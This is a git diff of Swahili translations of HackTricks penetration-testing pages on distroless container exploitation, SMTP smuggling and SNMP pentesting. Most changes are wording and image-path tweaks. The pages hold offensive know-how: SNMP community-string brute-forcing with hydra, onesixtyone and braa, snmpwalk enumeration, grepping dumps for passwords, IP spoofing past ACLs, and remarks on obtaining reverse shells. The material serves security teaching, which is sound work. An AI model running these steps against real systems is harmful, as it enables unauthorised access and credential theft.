**DDexec / EverythingExec** itakuruhusu kupakia na **kutekeleza** shellcode yako mwenyewe au **binary yoyote** kutoka **kumbukumbu**.
|
||||
|
@ -115,32 +115,32 @@ Lengo la mizigo ya distroless ni **kupunguza uso wa shambulio wa mizigo kwa kuon
|
|||
Katika mizigo ya distroless huenda **usipate hata `sh` au `bash`** kupata shell ya kawaida. Hutaweza pia kupata binaries kama `ls`, `whoami`, `id`... kila kitu ambacho kawaida unakimbia kwenye mfumo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Hivyo, huwezi kupata **reverse shell** au **kuhesabu** mfumo kama kawaida unavyofanya.
|
||||
Hivyo, **hutaweza** kupata **reverse shell** au **kuhesabu** mfumo kama kawaida unavyofanya.
|
||||
{% endhint %}
|
||||
|
||||
Hata hivyo, ikiwa kontena lililovunjwa linaendesha kwa mfano flask web, basi python imewekwa, na hivyo unaweza kupata **Python reverse shell**. Ikiwa linaendesha node, unaweza kupata Node rev shell, na vivyo hivyo na lugha nyingi za **kuandika**.
|
||||
Hata hivyo, ikiwa kontena lililoathirika linaendesha kwa mfano flask web, basi python imewekwa, na hivyo unaweza kupata **Python reverse shell**. Ikiwa linaendesha node, unaweza kupata Node rev shell, na vivyo hivyo na lugha nyingi za **scripting**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Kwa kutumia lugha ya kuandika unaweza **kuhesabu mfumo** kwa kutumia uwezo wa lugha hiyo.
|
||||
Kwa kutumia lugha ya scripting unaweza **kuhesabu mfumo** kwa kutumia uwezo wa lugha hiyo.
|
||||
{% endhint %}
|
||||
|
||||
Ikiwa hakuna **`read-only/no-exec`** ulinzi unaweza kutumia reverse shell yako **kuandika kwenye mfumo wa faili binaries zako** na **kuziendesha**.
|
||||
Ikiwa hakuna **`read-only/no-exec`** ulinzi unaweza kutumia reverse shell yako ku **andika kwenye mfumo wa faili binaries zako** na **kuziendesha**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Hata hivyo, katika aina hii ya mizigo ulinzi huu kwa kawaida utawepo, lakini unaweza kutumia **mbinu za awali za utekelezaji wa kumbukumbu kuzipita**.
|
||||
{% endhint %}
|
||||
|
||||
Unaweza kupata **mfano** wa jinsi ya **kutumia udhaifu fulani wa RCE** kupata lugha za kuandika **reverse shells** na kuendesha binaries kutoka kwenye kumbukumbu katika [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
Unaweza kupata **mfano** wa jinsi ya **kutumia udhaifu wa RCE** kupata lugha za scripting **reverse shells** na kuendesha binaries kutoka kwenye kumbukumbu katika [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack yasiyoweza kuhack - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -148,7 +148,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za uhalifu kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,24 +17,24 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
## Basic Information
|
||||
|
||||
Aina hii ya udhaifu iligunduliwa [**awali katika chapisho hili**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) ambapo inaelezwa kuwa inawezekana **kufaidika na tofauti katika jinsi itifaki ya SMTP inavyotafsiriwa** wakati wa kumaliza barua pepe, ikiruhusu mshambuliaji kusafirisha barua pepe zaidi ndani ya mwili wa ile halali, ikiruhusu kuiga watumiaji wengine wa eneo lililoathirika (kama admin@outlook.com) kwa kupita kinga kama SPF.
|
||||
Aina hii ya udhaifu iligunduliwa [**awali katika chapisho hili**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) ambapo inaelezwa kuwa inawezekana **kufaidika na tofauti katika jinsi itifaki ya SMTP inavyotafsiriwa** wakati wa kumaliza barua pepe, ikiruhusu mshambuliaji kusafirisha barua pepe zaidi ndani ya mwili wa ile halali, ikiruhusu kuiga watumiaji wengine wa kikoa kilichohusika (kama admin@outlook.com) kwa kupita kinga kama SPF.
|
||||
|
||||
### Why
|
||||
|
||||
Hii ni kwa sababu katika itifaki ya SMTP, **data ya ujumbe** inayopaswa kutumwa katika barua pepe inasimamiwa na mtumiaji (mshambuliaji) ambaye anaweza kutuma data iliyoundwa kwa makusudi ikitumia tofauti katika parsers ambazo zitasafirisha barua pepe za ziada kwa mpokeaji. Angalia mfano huu ulioonyeshwa kutoka kwa chapisho la awali:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### How
|
||||
|
||||
Ili kufaidika na udhaifu huu, mshambuliaji anahitaji kutuma data ambayo **seva ya SMPT ya Kutoka inadhani ni barua moja tu lakini seva ya SMTP ya Kuingia inadhani kuna barua kadhaa**.
|
||||
Ili kufaidika na udhaifu huu, mshambuliaji anahitaji kutuma data ambayo **seva ya SMPT ya Kutoka inadhani ni barua pepe 1 tu lakini seva ya SMTP ya Kuingia inadhani kuna barua pepe kadhaa**.
|
||||
|
||||
Watafiti waligundua kuwa seva tofauti za **Kuingia zinachukulia wahusika tofauti kama mwisho wa data** ya ujumbe wa barua pepe ambayo seva za Kutoka hazichukui.\
|
||||
Kwa mfano, mwisho wa kawaida wa data ni `\r\n.\r`. Lakini ikiwa seva ya SMTP ya Kuingia pia inasaidia `\n.`, mshambuliaji anaweza kuongeza **data hiyo katika barua pepe yake na kuanza kuashiria amri za SMTP** za mpya ili kuisafirisha kama ilivyoonyeshwa katika picha ya awali.
|
||||
Kwa mfano, mwisho wa kawaida wa data ni `\r\n.\r`. Lakini ikiwa seva ya SMTP ya Kuingia pia inasaidia `\n.`, mshambuliaji anaweza kuongeza **data hiyo katika barua pepe yake na kuanza kuonyesha amri za SMTP** za mpya ili kuisafirisha kama ilivyoonyeshwa katika picha ya awali.
|
||||
|
||||
Kwa kweli, hii inaweza kufanya kazi tu ikiwa **seva ya SMTP ya Kutoka haitibu data hii** kama mwisho wa data ya ujumbe, kwa sababu katika kesi hiyo itakuwaona barua mbili badala ya moja tu, hivyo mwishowe hii ndiyo desynchronization inayotumiwa katika udhaifu huu.
|
||||
Kwa kweli, hii inaweza kufanya kazi tu ikiwa **seva ya SMTP ya Kutoka haitibu data hii** kama mwisho wa data ya ujumbe, kwa sababu katika kesi hiyo itaona barua pepe 2 badala ya 1 tu, hivyo mwishowe hii ndiyo desynchronization inayotumiwa katika udhaifu huu.
|
||||
|
||||
Data ya uwezekano wa desynchronization:
|
||||
Data inayoweza kusababisha desynchronization:
|
||||
|
||||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 161,162,10161,10162/udp - Pentesting SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -29,21 +29,21 @@ PORT STATE SERVICE REASON VERSION
|
|||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
```
|
||||
{% hint style="info" %}
|
||||
SNMP pia inatumia bandari **162/UDP** kwa **traps**. Hizi ni data **pakiti zinazotumwa kutoka kwa seva ya SNMP kwenda kwa mteja bila kuombwa kwa wazi**.
|
||||
SNMP pia inatumia bandari **162/UDP** kwa **traps**. Hizi ni data **pakiti zinazotumwa kutoka kwa seva ya SNMP kwenda kwa mteja bila kuombwa wazi**.
|
||||
{% endhint %}
|
||||
|
||||
### MIB
|
||||
|
||||
Ili kuhakikisha kuwa ufikiaji wa SNMP unafanya kazi kati ya watengenezaji na kwa mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** iliundwa. MIB ni **format huru ya kuhifadhi taarifa za kifaa**. MIB ni **faili ya maandiko** ambayo vitu vyote vinavyoweza kuulizwa vya **SNMP** vya kifaa vimeorodheshwa katika **hierarchi ya miti iliyoandikwa kwa kiwango**. Inajumuisha angalau **`Object Identifier` (`OID`)**, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia inatoa taarifa kuhusu aina, haki za ufikiaji, na maelezo ya kitu husika.\
|
||||
Ili kuhakikisha kuwa ufikiaji wa SNMP unafanya kazi kati ya watengenezaji na kwa mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** iliundwa. MIB ni **format huru ya kuhifadhi taarifa za kifaa**. MIB ni **faili ya maandiko** ambayo vitu vyote vya **SNMP vinavyoweza kuulizwa** vya kifaa vimeorodheshwa katika **hiyerarhii ya miti iliyoandikwa kwa kiwango**. Inajumuisha angalau **`Object Identifier` (`OID`)**, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia inatoa taarifa kuhusu aina, haki za ufikiaji, na maelezo ya kitu husika.\
|
||||
Mifano ya MIB imeandikwa katika format ya maandiko ya ASCII ya `Abstract Syntax Notation One` (`ASN.1`). **MIB hazina data**, lakini zinaelezea **wapi kupatikana taarifa gani** na inavyoonekana, ambayo inarudisha thamani kwa OID maalum, au ni aina gani ya data inayotumika.
|
||||
|
||||
### OIDs
|
||||
|
||||
**Object Identifiers (OIDs)** zina jukumu muhimu. Vitambulisho hivi vya kipekee vimeundwa ili kudhibiti vitu ndani ya **Management Information Base (MIB)**.
|
||||
**Object Identifiers (OIDs)** zina jukumu muhimu. Vitambulisho hivi vya kipekee vimeundwa ili kusimamia vitu ndani ya **Management Information Base (MIB)**.
|
||||
|
||||
Viwango vya juu zaidi vya vitambulisho vya MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa.
|
||||
|
||||
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi ya kibinafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyo na usimamizi vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
|
||||
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi binafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyosimamiwa vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -62,16 +62,16 @@ Hapa kuna ufafanuzi wa anwani hii.
|
|||
* 3 – hii inaitwa ORG na inatumika kubainisha shirika lililojenga kifaa.
|
||||
* 6 – hii ni dod au Wizara ya Ulinzi ambayo ni shirika lililoanzisha Mtandao kwanza.
|
||||
* 1 – hii ni thamani ya mtandao kuashiria kuwa mawasiliano yote yatatokea kupitia Mtandao.
|
||||
* 4 – thamani hii inaashiria kuwa kifaa hiki kimeundwa na shirika binafsi na si la serikali.
|
||||
* 4 – thamani hii inaamua kuwa kifaa hiki kimeundwa na shirika binafsi na si la serikali.
|
||||
* 1 – thamani hii inaashiria kuwa kifaa kimeundwa na kampuni au chombo cha biashara.
|
||||
|
||||
Thamani hizi sita za kwanza huwa sawa kwa vifaa vyote na zinakupa taarifa za msingi kuhusu vifaa hivyo. Mfuatano huu wa nambari utakuwa sawa kwa OIDs zote, isipokuwa wakati kifaa kimeundwa na serikali.
|
||||
Thamani hizi sita za kwanza huwa sawa kwa vifaa vyote na zinakupa taarifa za msingi kuhusu hivyo. Mfuatano huu wa nambari utakuwa sawa kwa OIDs zote, isipokuwa wakati kifaa kimeundwa na serikali.
|
||||
|
||||
Tukihamia kwenye seti inayofuata ya nambari.
|
||||
|
||||
* 1452 – inatoa jina la shirika lililotengeneza kifaa hiki.
|
||||
* 1 – inaelezea aina ya kifaa. Katika kesi hii, ni saa ya alamu.
|
||||
* 2 – inaashiria kuwa kifaa hiki ni kitengo cha terminal cha mbali.
|
||||
* 2 – inaamua kuwa kifaa hiki ni kitengo cha terminal cha mbali.
|
||||
|
||||
Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa.
|
||||
|
||||
|
@ -87,19 +87,19 @@ Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa.
|
|||
|
||||
Kuna matoleo mawili muhimu ya SNMP:
|
||||
|
||||
* **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (mfuatano wa jamii) unaosafiri kwa **maandishi wazi** (taarifa zote zinatembea kwa maandiko wazi). **Matoleo 2 na 2c** yanatuma **trafiki kwa maandiko wazi** pia na yanatumia **mfuatano wa jamii kama uthibitishaji**.
|
||||
* **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (ushambuliaji wa **dictionary** unaweza kufanywa lakini itakuwa ngumu zaidi kupata taarifa sahihi kuliko katika SNMPv1 na v2).
|
||||
* **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (taarifa zote zinatembea kwa maandiko wazi). **Matoleo 2 na 2c** yanatuma **trafiki kwa maandiko wazi** pia na yanatumia **mfuatano wa jamii kama uthibitishaji**.
|
||||
* **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (attack ya kamusi inaweza kufanywa lakini itakuwa ngumu zaidi kupata creds sahihi kuliko katika SNMPv1 na v2).
|
||||
|
||||
### Mfuatano wa Jamii
|
||||
|
||||
Kama ilivyotajwa hapo awali, **ili kufikia taarifa zilizohifadhiwa kwenye MIB unahitaji kujua mfuatano wa jamii katika matoleo 1 na 2/2c na taarifa za kuingia katika toleo la 3.**\
|
||||
Kama ilivyotajwa hapo awali, **ili kufikia taarifa zilizohifadhiwa kwenye MIB unahitaji kujua mfuatano wa jamii katika matoleo 1 na 2/2c na akidi katika toleo la 3.**\
|
||||
Kuna **aina 2 za mfuatano wa jamii**:
|
||||
|
||||
* **`public`** hasa **kazi za kusoma tu**
|
||||
* **`private`** **Soma/Andika** kwa ujumla
|
||||
|
||||
Kumbuka kuwa **uwezo wa kuandika OID unategemea mfuatano wa jamii unaotumika**, hivyo **hata** ukigundua kuwa "**public**" inatumika, unaweza kuwa na uwezo wa **kuandika baadhi ya thamani.** Pia, kuna **weza** kuwepo vitu ambavyo ni **daima "Soma Tu".**\
|
||||
Ikiwa unajaribu **kuandika** kitu, **kosa la `noSuchName` au `readOnly` linapokelewa**.\*\*.\*\*
|
||||
Ikiwa unajaribu **kuandika** kitu, **`noSuchName` au `readOnly` kosa** linapokelewa\*\*.\*\*
|
||||
|
||||
Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitajibu. Hivyo, ikiwa inajibu, **mfuatano wa jamii halali umetumika**.
|
||||
|
||||
|
@ -109,7 +109,7 @@ Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitaji
|
|||
|
||||
* Wakala wa SNMP hupokea maombi kwenye bandari ya UDP **161**.
|
||||
* Meneja hupokea arifa ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) na [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) kwenye bandari **162**.
|
||||
* Wakati inapotumika na [Usalama wa Tabaka la Usafiri](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) au [Usalama wa Tabaka la Usafiri wa Datagram](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), maombi yanapokelewa kwenye bandari **10161** na arifa zinatumwa kwenye bandari **10162**.
|
||||
* Wakati inapotumika na [Usalama wa Tabaka la Usafirishaji](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) au [Usalama wa Tabaka la Usafirishaji wa Datagram](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), maombi yanapokelewa kwenye bandari **10161** na arifa zinatumwa kwenye bandari **10162**.
|
||||
|
||||
## Mfuatano wa Jamii ya Brute-Force (v1 na v2c)
|
||||
|
||||
|
@ -140,11 +140,11 @@ nmap --script "snmp* and not snmp-brute" <target>
|
|||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
Asante kwa maswali yaliyopanuliwa (download-mibs), inawezekana kuhesabu zaidi kuhusu mfumo kwa amri ifuatayo:
|
||||
Asante kwa maswali yaliyopanuliwa (download-mibs), inawezekana kuorodhesha zaidi kuhusu mfumo kwa amri ifuatayo:
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kupendezwa nayo ni: **Interfaces za mtandao** (anwani za **IPv4** na **IPv6**), Majina ya watumiaji, Wakati wa kufanya kazi, Toleo la seva/OS, na **mchakato**
|
||||
**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kupendezwa nayo ni: **Mifumo ya mtandao** (anwani za **IPv4** na **IPv6**), Majina ya watumiaji, Wakati wa kufanya kazi, Toleo la seva/OS, na **mchakato**
|
||||
|
||||
**unaotembea** (inaweza kuwa na nywila)....
|
||||
|
||||
|
@ -169,11 +169,11 @@ Mfululizo wa **Thamani za Msingi wa Taarifa za Usimamizi (MIB)** hutumiwa kufuat
|
|||
|
||||
* **Mchakato wa Mfumo**: Inapatikana kupitia `1.3.6.1.2.1.25.1.6.0`, vigezo hivi vinaruhusu ufuatiliaji wa michakato hai ndani ya mfumo.
|
||||
* **Programu Zinazoendesha**: Thamani ya `1.3.6.1.2.1.25.4.2.1.2` imetengwa kwa ajili ya kufuatilia programu zinazotembea kwa sasa.
|
||||
* **Njia za Michakato**: Ili kubaini mahali mchakato unapotembea kutoka, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika.
|
||||
* **Njia za Michakato**: Ili kubaini mahali mchakato unapoendesha, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika.
|
||||
* **Vitengo vya Hifadhi**: Ufuatiliaji wa vitengo vya hifadhi unarahisishwa na `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Jina la Programu**: Ili kubaini programu iliyosanikishwa kwenye mfumo, `1.3.6.1.2.1.25.6.3.1.2` inatumika.
|
||||
* **Akaunti za Watumiaji**: Thamani ya `1.3.6.1.4.1.77.1.2.25` inaruhusu ufuatiliaji wa akaunti za watumiaji.
|
||||
* **Ports za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ajili ya ufuatiliaji wa ports za TCP za mitaa, ikitoa mwanga juu ya muunganisho hai wa mtandao.
|
||||
* **Port za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ajili ya ufuatiliaji wa port za TCP za mitaa, ikitoa mwanga kuhusu muunganisho hai wa mtandao.
|
||||
|
||||
### Cisco
|
||||
|
||||
|
@ -197,7 +197,7 @@ Ikiwa una **nywila** inayokuruhusu **kuandika thamani** ndani ya huduma ya SNMP,
|
|||
|
||||
Braa inatekeleza stack yake ya snmp, hivyo haitaji maktaba yoyote ya SNMP kama net-snmp.
|
||||
|
||||
**Syntax:** braa \[Community-string]@\[IP ya seva ya SNMP]:\[iso id]
|
||||
**Syntax:** braa \[Nywila ya jamii]@\[IP ya seva ya SNMP]:\[iso id]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
|
@ -213,7 +213,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
|||
```
|
||||
### **Tambua Mfuatano wa Kibinafsi**
|
||||
|
||||
Hatua muhimu inahusisha kutambua **mfuatano wa jamii ya kibinafsi** unaotumiwa na mashirika, hasa kwenye routers za Cisco IOS. Mfuatano huu unaruhusu kutoa **mipangilio inayoendelea** kutoka kwa routers. Utambuzi mara nyingi unategemea kuchambua data ya SNMP Trap kwa neno "trap" kwa kutumia **amri ya grep**:
|
||||
Hatua muhimu inahusisha kutambua **mfuatano wa jamii ya kibinafsi** unaotumiwa na mashirika, hasa kwenye router za Cisco IOS. Mfuatano huu unaruhusu kutoa **mipangilio inayoendelea** kutoka kwa router. Utambuzi mara nyingi unategemea kuchambua data ya SNMP Trap kwa neno "trap" kwa kutumia **amri ya grep**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
|
@ -233,17 +233,17 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
|
||||
Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Itakubidi ujue **nyota ya faragha** ili kufanya hivyo.
|
||||
|
||||
## Kuiga
|
||||
## Kupotosha
|
||||
|
||||
Ikiwa kuna ACL inayoruhusu tu IP fulani kuuliza huduma ya SMNP, unaweza kuiga moja ya anwani hizi ndani ya pakiti ya UDP na kunasa trafiki.
|
||||
Ikiwa kuna ACL inayoruhusu tu IP fulani kuuliza huduma ya SMNP, unaweza kupotosha moja ya anwani hizi ndani ya pakiti ya UDP na kunasa trafiki.
|
||||
|
||||
## Kagua faili za Usanidi wa SNMP
|
||||
## Kagua faili za Mipangilio ya SNMP
|
||||
|
||||
* snmp.conf
|
||||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
|
@ -286,16 +286,16 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cisco SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
